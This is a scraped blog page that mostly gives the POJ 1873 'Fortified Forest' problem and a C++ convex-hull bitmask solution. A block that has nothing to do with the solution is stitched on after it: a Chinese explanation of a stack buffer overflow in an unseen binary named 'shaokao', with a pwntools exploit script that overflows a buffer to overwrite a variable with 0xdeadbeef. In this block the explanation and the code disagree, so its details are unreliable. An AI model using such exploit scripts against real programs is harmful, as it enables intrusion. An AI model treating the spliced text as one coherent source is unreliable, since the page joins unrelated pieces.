The Fortified Forest POJ - 1873(凸包+状压)

Once upon a time, in a faraway land, there lived a king. This king owned a small collection of rare and valuable trees, which had been gathered by his ancestors on their travels. To protect his trees from thieves, the king ordered that a high fence be built around them. His wizard was put in charge of the operation. 
Alas, the wizard quickly noticed that the only suitable material available to build the fence was the wood from the trees themselves. In other words, it was necessary to cut down some trees in order to build a fence around the remaining trees. Of course, to prevent his head from being chopped off, the wizard wanted to minimize the value of the trees that had to be cut. The wizard went to his tower and stayed there until he had found the best possible solution to the problem. The fence was then built and everyone lived happily ever after. 

You are to write a program that solves the problem the wizard faced. 

Input

The input contains several test cases, each of which describes a hypothetical forest. Each test case begins with a line containing a single integer n, 2 <= n <= 15, the number of trees in the forest. The trees are identified by consecutive integers 1 to n. Each of the subsequent n lines contains 4 integers xi, yi, vi, li that describe a single tree. (xi, yi) is the position of the tree in the plane, vi is its value, and li is the length of fence that can be built using the wood of the tree. vi and li are between 0 and 10,000. 
The input ends with an empty test case (n = 0). 

Output

For each test case, compute a subset of the trees such that, using the wood from that subset, the remaining trees can be enclosed in a single fence. Find the subset with minimum value. If more than one such minimum-value subset exists, choose one with the smallest number of trees. For simplicity, regard the trees as having zero diameter. 
Display, as shown below, the test case numbers (1, 2, ...), the identity of each tree to be cut, and the length of the excess fencing (accurate to two fractional digits). 

Display a blank line between test cases. 

Sample Input

6
 0  0  8  3
 1  4  3  2
 2  1  7  1
 4  1  2  3
 3  5  4  6
 2  3  9  8
3
 3  0 10  2
 5  5 20 25
 7 -3 30 32
0

Sample Output

Forest 1
Cut these trees: 2 4 5 
Extra wood: 3.16

Forest 2
Cut these trees: 2 
Extra wood: 15.00

题意:求砍掉一些树,满足价值最小,并且砍下的树的长度,能够包围剩下的树木(剩下的凸包)

思路:状压一下,然后用vector记录砍掉的树木,再跑Graham_scan 凸包算法就行

代码:

#include <iostream>
#include <stdio.h>
#include <string.h>
#include <algorithm>
#include <queue>
#include <map>
#include <vector>
#include <set>
#include <string>
#include <math.h>
#include <stack>
#define Lson l,m,rt<<1
#define Rson m+1,r,rt<<1|1
typedef long long ll;
#define INF 0x3f3f3f3f
const int maxn=20;
const int MAXN=1e3+10;
const long long mod=100000000;
using namespace std;
const double eps=1e-8;
const double PI=acos(-1.0);
struct point
{
	int x,y,v,l;
}p[maxn],pt[maxn];
int n;
int sta[30],top;
 
int cross(point p0,point p1,point p2)//p0p1 * p0p2叉积  判断顺/逆时针 
{
	return (p1.x-p0.x)*(p2.y-p0.y)-(p1.y-p0.y)*(p2.x-p0.x);
}
double dis(point p1,point p2)
{
	return sqrt((double)(p2.x-p1.x)*(p2.x-p1.x)+(p2.y-p1.y)*(p2.y-p1.y));
}
bool cmp(point p1,point p2)//极角排序 p[0]为最下方&&最左边的点 
{
	int tmp=cross(p[0],p1,p2);
	if(tmp>0) return true;
	else if(tmp==0&&dis(p[0],p1)<dis(p[0],p2)) return true;//角度相同,距离小在前
	else return false;
}
void Graham_scan(int n)
{
    if(n==1)
    {
        sta[0]=0;
        top=0;
        return;
    }
    int index=0;
    for(int i=1;i<n;i++)
    {
        if(p[i].y<p[index].y||(p[i].y==p[index].y&&p[i].x<p[index].x))
        {
            index=i;
        }
    }
    swap(p[0],p[index]);
    sort(p+1,p+n,cmp);
    if(n==2)
    {
        sta[0]=0,sta[1]=1,top=1;
    }
    else if(n>2)
    {
        for(int i=0;i<=1;i++) sta[i]=i;
        top=1;
        for(int i=2;i<n;i++)
        {
            while(top>0&&cross(p[sta[top-1]],p[sta[top]],p[i])<=0)
            {
                top--;
            }
            sta[++top]=i;
        }
    }
}
int main(int argc, char const *argv[])
{
    #ifndef ONLINE_JUDGE
        freopen("in.txt","r",stdin);
        freopen("out.txt","w",stdout);
    #endif
    int Case=0;
    while(scanf("%d",&n)!=EOF&&n)
    {
        for(int i=0;i<n;i++)
        {
            scanf("%d%d%d%d",&pt[i].x,&pt[i].y,&pt[i].v,&pt[i].l);
        }
        int up=(1<<n)-1;
        int M=INF;
        double ans=INF;
        int tmp=INF;
        vector<int> res;
        for(int s=1;s<=up;s++)
        {
            int cnt=0,m=0,L=0;
            vector<int> use;
            for(int i=0;i<n;i++)
            {
                if(s&(1<<i))
                {
                    use.push_back(i+1);
                    m+=pt[i].v;
                    L+=pt[i].l;
                }
                else
                {
                    p[cnt]=pt[i];
                    cnt++;
                }
            }
            if(cnt==0) continue;
            Graham_scan(cnt);
            double cost=0.0;
            for(int i=0;i<=top;i++)
            {
                cost+=dis(p[sta[i]],p[sta[(i+1)%(top+1)]]);
            }
            if(L>=cost)
            {
                if(m<tmp)
                {
                    tmp=m;
                    ans=L-cost;
                    res.clear();
                    for(auto &t:use)
                    {
                        res.push_back(t);
                    }
                    use.clear();
                }
                else if(m==tmp)
                {
                    if(use.size()<res.size())
                    {
                        res.clear();
                        for(auto &t:use)
                        {
                            res.push_back(t);
                        }
                        use.clear();
                    }
                }
            }
        }
        printf("Forest %d\n",++Case);
        printf("Cut these trees:");
        for(auto &t:res)
        {
            printf(" %d",t);
        }
        printf("\n");
        printf("Extra wood: %.2lf\n",ans);
        printf("\n");
    }
    return 0;
}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于这段代码,我们可以看到存在一个缓冲区溢出漏洞,即在gaiming函数中使用scanf函数读取输入到v5数组时,没有对输入进行长度限制,导致可能会覆盖到name变量的值。 攻击的基本思路是通过输入超长的字符串来覆盖掉name变量的值,从而控制程序的行为。具体的攻击流程如下: 1. 首先需要确定name变量在栈中的偏移量,可以通过调试程序或者静态分析代码来确定。假设name变量在栈中的偏移量为0x100。 2. 构造一个超长的输入字符串,长度应该大于0x100,其中前面部分可以填充任意字符,后面部分需要填充希望覆盖到name变量的值。假设我们想要将name变量的值修改为0xdeadbeef,那么可以构造一个输入字符串如下: `"A"*0x108 + "\xef\xbe\xad\xde"` 其中"\xef\xbe\xad\xde"是0xdeadbeef的16进制表示。 3. 将构造好的字符串输入到程序中,就可以触发缓冲区溢出漏洞,修改name变量的值。 下面是可能需要的攻击代码: ``` from pwn import * # 定义目标程序的相关信息 binary = ELF('./shaokao') context.binary = binary # 定义本地或远程连接 p = process(binary.path) # p = remote('ip', port) # 构造攻击字符串 payload = b"A" * 0x108 + p64(0xdeadbeef) # 发送攻击字符串 p.sendlineafter(b'name:', payload) # 进入交互模式 p.interactive() ``` 需要注意的是,攻击的成功与否还取决于目标程序的保护机制,例如是否开启了ASLR、栈随机化等。如果目标程序开启了ASLR,则需要先泄漏出程序的基址,才能计算出name变量在栈中的准确偏移量。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值